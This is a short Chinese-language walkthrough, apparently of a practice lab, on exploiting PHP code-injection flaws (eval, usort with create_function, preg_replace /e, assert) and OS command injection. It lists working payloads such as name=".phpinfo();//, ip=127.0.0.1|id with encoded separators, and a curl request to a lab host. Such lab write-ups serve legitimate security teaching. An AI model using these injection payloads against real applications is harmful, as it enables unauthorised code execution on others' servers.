这里使用双引号页面会抛出异常,异常信息中显示程序使用了eval()函数,也就是说这里可能存在代码执行漏洞
name=”.phpinfo();//
这里可以看出程序对相关数据进行了排序,那么存在两种情况,有可能是使用order by数据库语句进行排序,也有可能是通过php的usort()函数进行排序,通过特殊字符报错报错显示程序使用了usort()函数,usort()很多情况下会搭配create_function()动态生成一个函数,如果web应用程序缺乏有效的过滤和验证,这可能会导致代码执行。
order=name);}phpinfo();//
同样我们让程序进行报错,从报错信息中得知程序使用了preg_replace()函数,看见这个一定想到了被他所指定的preg_replace_eval()函数(在php5.5以后被弃用),那么这里通过/e修饰符来进行指定
new=phpinfo()&pattern=/lamer/e&base=Hello lamer
通过报错信息可以看出这里使用了assert()函数,那么可以猜测进行语句拼接“‘.’”
me=hacker’.phpinfo().’
最普通的命令执行漏洞,未做任何过滤,直接拼接系统命令就可以
ip=127.0.0.1|id
ip=127.0.0.1%26%26id
ip=127.0.0.1%0Aid
通过网络请求可以看着这里会有个302跳转,那么就直接使用nc、telnet、curl等进行单次请求
curl http://192.168.149.134/commandexec/example3.php?ip=127.0.0.1|id